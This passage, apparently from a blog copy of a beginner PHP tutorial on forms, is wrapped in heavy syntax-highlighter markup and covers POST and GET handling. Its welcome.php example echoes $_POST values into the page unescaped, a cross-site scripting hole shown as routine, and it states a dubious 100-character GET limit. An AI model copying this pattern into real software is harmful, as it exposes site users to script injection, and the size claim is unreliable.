&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0e44-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0e44-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0e44-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0e44-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0e44-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0e44-9&quot;&gt;
9&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
      &lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0e44-1&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0672a324-00a3-4366-b009-24cc605234dd&quot; id=&quot;ef114d10-21d6-4445-99b6-1e833410e9b3&quot;&gt;html&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0e44-2&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c2dce387-d2a3-44df-af1b-66747e75706a&quot; id=&quot;0d4b4c82-a474-43e8-ac17-89711e9f633f&quot;&gt;body&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0e44-3&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8d27d03f-9e34-4780-a55d-8f998f7f387b&quot; id=&quot;eea8a22a-64e3-4a79-9e15-11986bc82d24&quot;&gt;form&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;welcome.php&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;post&quot;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0e44-4&quot;&gt;
&lt;span class=&quot;crayon-i&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;input &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;30fa615e-84f2-411e-be15-b0996e5439d3&quot; id=&quot;3904897b-5053-401a-96dc-16a36f262cc8&quot;&gt;fname&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0e44-5&quot;&gt;
&lt;span class=&quot;crayon-i&quot;&gt;Age&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;input &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0e44-6&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6a35ee98-7b0d-44bd-83f8-1cee85068a89&quot; id=&quot;6005b1a4-91fb-434a-b8aa-ffe99800863c&quot;&gt;input&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;submit&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0e44-7&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;676b382f-0a0e-4b06-a3d1-c738f245bc88&quot; id=&quot;64c22b2e-2e69-4efb-abfe-8ce0a10444ac&quot;&gt;form&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0e44-8&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b4a812f7-8586-45b0-816e-277cb575cc97&quot; id=&quot;e1936cb9-0393-4b98-ba3d-8954ef22019e&quot;&gt;body&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0e44-9&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;66e37c58-0014-4aba-9203-d1e8830581d7&quot; id=&quot;156d5ca8-08b1-4811-b4aa-d49981534863&quot;&gt;html&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
When a user fills out the form above and click on the &lt;strong&gt;submit button&lt;/strong&gt;, the form data is sent to a PHP file,&lt;br /&gt;
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4b19370c-44f1-4a17-86be-a09bef8cee54&quot; id=&quot;fdc6bec2-9f8e-4665-beae-1b63701bed17&quot;&gt;called&lt;/span&gt; “&lt;em&gt;welcome.php&lt;/em&gt;“:&lt;br /&gt;

“welcome.php” looks like this:&lt;br /&gt;



  &lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0627ed0e90&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
  
   
   
   &lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d7492025-4dc9-464d-91e8-dcb626ba1e1c&quot; id=&quot;ac004bcd-7785-4e3c-ad0b-f316dbc83223&quot;&gt;html&lt;/span&gt;&gt;
&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8bf67360-595e-4353-af79-b1b37d40ba00&quot; id=&quot;909ecd4c-2db8-4ec9-a25a-64e5781835ea&quot;&gt;body&lt;/span&gt;&gt;
Welcome &lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5bc80be2-4d4c-45bf-913d-33f81a88ebcb&quot; id=&quot;2367148e-1aef-4ddf-b3b7-8b6c3d8b10bf&quot;&gt;php&lt;/span&gt; echo $_POST&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5bc80be2-4d4c-45bf-913d-33f81a88ebcb&quot; id=&quot;b41a2ead-3ac2-4685-a70a-0d987525719d&quot;&gt;[&lt;/span&gt;&quot;fname&quot;]; ?&gt;!&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;599abdb9-19da-4d50-b0e6-8e0dab0022b6&quot; id=&quot;7ca60ffa-8e40-4dda-80b2-dffb916fa1ef&quot;&gt;br&lt;/span&gt; /&gt;
You are &lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f0494a76-f173-45d5-a860-c778ada831bc&quot; id=&quot;f3af05d0-ba35-4ed8-8290-6bd968ddc1e5&quot;&gt;php&lt;/span&gt; echo $_POST&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f0494a76-f173-45d5-a860-c778ada831bc&quot; id=&quot;6371fa9b-02ba-44ed-9674-7582bf058700&quot;&gt;[&lt;/span&gt;&quot;age&quot;]; ?&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4ef42f41-34fb-48b3-af39-33025df3bece&quot; id=&quot;022cb06e-bd9c-4f72-a29c-2fd4228f9a1d&quot;&gt;years&lt;/span&gt; old.
&lt;/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f37d77ce-3538-491e-b1b8-a5ed25b5f16f&quot; id=&quot;98ec7446-e1e1-4985-838f-901278654138&quot;&gt;body&lt;/span&gt;&gt;
&lt;/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e486fe24-004a-467d-82f8-58aed10e7dba&quot; id=&quot;74acaeac-12c4-4b82-a6a2-9884ea58fe01&quot;&gt;html&lt;/span&gt;&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
    &lt;table class=&quot;crayon-table&quot;&gt;
     &lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
    &lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
     &lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0e90-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0e90-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0e90-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0e90-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0e90-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0e90-6&quot;&gt;
6&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
      &lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0e90-1&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8d39e957-8c0a-476f-96f0-1344ab673810&quot; id=&quot;bceac5cf-5668-48cf-903b-f73add2242c7&quot;&gt;html&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0e90-2&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a57362da-9f35-479a-9ac6-e29d1a8ce596&quot; id=&quot;c2259aae-c638-4863-9d2f-a01c05625f0d&quot;&gt;body&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0e90-3&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;Welcome&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f2c7aafc-c6d6-40be-8f3b-38f822c00396&quot; id=&quot;78db61cc-9db0-4ec5-90ac-1f34e4d43615&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f2c7aafc-c6d6-40be-8f3b-38f822c00396&quot; id=&quot;c28542ba-72dd-4de7-beb8-05b19e3201c1&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;fname&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;54a390fb-66a4-4c54-ac12-332811fa5a30&quot; id=&quot;12b63276-b22a-4e37-ba01-d55953366102&quot;&gt;br&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0e90-4&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;You&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;are&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c528ffff-555e-4aa5-98b5-8107ff8efa0a&quot; id=&quot;90516bf3-4385-4299-a58a-f2821bb95ebf&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c528ffff-555e-4aa5-98b5-8107ff8efa0a&quot; id=&quot;9b5fc926-c167-4b67-b5c2-858c41144b71&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;65056f7b-e782-4450-a12f-474a2c83b23d&quot; id=&quot;d83d1fee-18b6-4b68-a20e-e0a848243434&quot;&gt;years&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0e90-5&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0fe07d0a-411c-43c5-b23c-95524d6aa995&quot; id=&quot;df5d0d1d-bcfe-4786-8150-5dd19c361814&quot;&gt;body&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0e90-6&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c1c83872-13da-4a61-8b7a-176d596e3b8b&quot; id=&quot;97df90db-718f-42e3-a7a9-e2d6deaff116&quot;&gt;html&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
Output could be something like this&lt;br /&gt;


&lt;code&gt;Welcome John!&lt;br /&gt;
You are 28 years old.&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;

The PHP $_GET and $_POST functions will be explained in the next chapters.&lt;br /&gt;

&lt;h3&gt;
Form Validation&lt;/h3&gt;
User input should be validated on the browser whenever possible (by 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a805a6fb-b312-474c-bd90-2da385080eb4&quot; id=&quot;e60fd9c9-3b1e-40a1-b90c-c38f9b1a55ca&quot;&gt;client&lt;/span&gt; scripts). Browser validation is faster and reduces the server 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fba8f911-dd3b-46a2-9300-88fb8ee04b70&quot; id=&quot;53c4edce-75c2-4a25-b1f1-e97928e342c6&quot;&gt;load&lt;/span&gt;.&lt;br /&gt;


You should consider server validation if the user input will be inserted into a &lt;a href=&quot;http://www.webopedia.com/TERM/D/database.html%E2%80%8E&quot; target=&quot;_blank&quot; title=&quot;database&quot;&gt;database&lt;/a&gt;.
 A good way to validate a form on the server is to post the form to 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4d6c4be9-62c1-43c8-a6dc-f43d12600f48&quot; id=&quot;8a943dc8-b538-4881-a02f-3b6bfe75e254&quot;&gt;itself&lt;/span&gt;, instead of jumping to a different page. The user will then get 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f1a14c0d-6f91-466f-a852-48cb48f16d99&quot; id=&quot;014f49ac-6991-4a2a-a121-9f3c55a6593b&quot;&gt;the&lt;/span&gt; error messages on the same page as the form. This makes it easier to
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;56cd78fc-10c9-4d03-bd26-7808c0f94715&quot; id=&quot;84c08531-5579-4141-b7ea-f6e22fbfef91&quot;&gt;discover&lt;/span&gt; the error.&lt;br /&gt;

The built-in $_GET function is used to collect values in a form with method=”get”.&lt;br /&gt;

&lt;h3&gt;
The $_GET Function&lt;/h3&gt;
The built-in $_GET function is used to collect values from a form sent with method=”get”.&lt;br /&gt;

Information sent from a form with the GET method is visible to 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5e29d334-f494-462e-b58b-62c362fb4645&quot; id=&quot;43db9581-d485-4072-b3dc-217c0ab94daf&quot;&gt;everyone&lt;/span&gt; (it will be displayed in the browser’s address bar) and has 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;91be7528-b892-448c-86f4-eff05663b2ef&quot; id=&quot;97dcd9e2-b36f-4607-8e2c-a964e1f1cf1b&quot;&gt;limits&lt;/span&gt; on the amount of information to send (max. 100 characters).&lt;br /&gt;

&lt;h5&gt;
Example&lt;/h5&gt;
&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0627ed0edc&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
  
   
   
   &lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;edb14116-7e63-4312-91f1-12614d729f1f&quot; id=&quot;8622c52a-4b1c-41b5-a02e-03ec2c4ae86f&quot;&gt;form&lt;/span&gt; action=&quot;welcome.php&quot; method=&quot;get&quot;&gt;
Name: &lt;input type=&quot;text&quot; name=&quot;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6ffdbe02-7c77-4d40-97cb-26213a51c295&quot; id=&quot;afd97689-a063-4d11-9b06-5da253f7d48e&quot;&gt;fname&lt;/span&gt;&quot; /&gt;
Age: &lt;input type=&quot;text&quot; name=&quot;age&quot; /&gt;
&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f6c9ec47-5820-4b4f-921a-aed763818aaa&quot; id=&quot;2a303fbc-4bd2-43ca-89be-c977b8c70fc8&quot;&gt;input&lt;/span&gt; type=&quot;submit&quot; /&gt;
&lt;/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;da8dcbce-a3ff-4488-9083-6a146323e0b9&quot; id=&quot;38893f15-8a1a-4ce4-b713-f5e6099d042f&quot;&gt;form&lt;/span&gt;&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
    &lt;table class=&quot;crayon-table&quot;&gt;
     &lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
    &lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
     &lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0edc-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0edc-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0edc-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0edc-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0edc-5&quot;&gt;
5&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
      &lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0edc-1&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7b717e18-71bd-4cd2-8530-dd5884273bd5&quot; id=&quot;c94d678f-1180-4a52-8d77-0a9b008d6d19&quot;&gt;form&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;welcome.php&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;get&quot;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
